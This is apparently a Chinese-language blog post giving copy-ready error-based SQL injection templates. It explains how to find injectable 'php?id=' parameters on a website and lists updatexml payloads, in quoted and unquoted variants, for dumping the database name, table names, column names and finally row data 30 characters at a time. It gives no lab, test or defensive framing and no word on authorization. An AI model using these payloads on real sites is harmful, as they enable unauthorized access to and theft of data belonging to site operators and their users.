594 字
3 分钟
SQL 报错注入常用语句模板
报错注入模板
1、寻找注入点
先从网站随便点一下,查找url中带php?id=xxx的页面
之后在php?id=xxx后先加个单引号,如果页面有数据库报错回显说明存在报错注入漏洞,并且可以判断没有双引号
再加个双引号,如果页面依然有数据库报错回显说明该网站不存在特殊符号,如果回复成正常页面说明存在单引号
2、提取数据库名(此部分无需改动)
①无特殊符号(url网址)or (updatexml(1,concat(0x7e,(select database()),0x7e),1))
②存在单引号(url网址)' or (updatexml(1,concat(0x7e,(select database()),0x7e),1)) or '
3、提取数据表名(除了修改30这个数值,其他无需改动)
①无特殊符号
(url网址) or (updatexml(1,concat(0x7e,(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,30)),0x7e),1))
【1,30】先测试一下30这个字符串长度是否可以,如果页面有回显两个“~”,说明是可以的
接着按照这个顺序【1,30】【31,30】【61,30】【91,30】【121,30】【151,30】等,这样查询更换直到输出全部的数据表名
②存在单引号
(url网址)' or (updatexml(1,concat(0x7e,(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,30)),0x7e),1)) or '
4、提取数据列名(需要将数据表名转为16进制填入)
①无特殊符号
(url网址) or (updatexml(1,concat(0x7e,(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=要查询数据表名的十六进制转换),1,30)),0x7e),1))
譬如:0x61646d696e:是admin的十六进制转换,所以这里填0x61646d696e
【1,30】一样按照数据表名那样一直顺序输入直至得到完整的数据列名
②存在单引号
(url网址)' or (updatexml(1,concat(0x7e,(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=要查询数据表名的十六进制转换),1,30)),0x7e),1)) or '
5、提取数据信息(需要填入需要查询的数据列名,以及最开始的数据表名)
①无特殊符号
(url网址) or (updatexml(1,concat(0x7e,(substr((select group_concat(要查询的数据列名1,'---',要查询的数据列名2) from 查询出这些数据列的数据表名,无需十六进制转换),1,30)),0x7e),1))
如果有些网站屏蔽掉单引号,'---'可以不写
【1,30】一样按照数据列名那样一直顺序输入直至得到完整的数据信息
②存在单引号
(url网址)' or (updatexml(1,concat(0x7e,(substr((select group_concat(要查询的数据列名1,'---',要查询的数据列名2) from 查询出这些数据列的数据表名,无需十六进制转换),1,30)),0x7e),1)) or ' SQL 报错注入常用语句模板
https://wangyi187.top/posts/error-based-templates/
闽公网安备 35050402880173号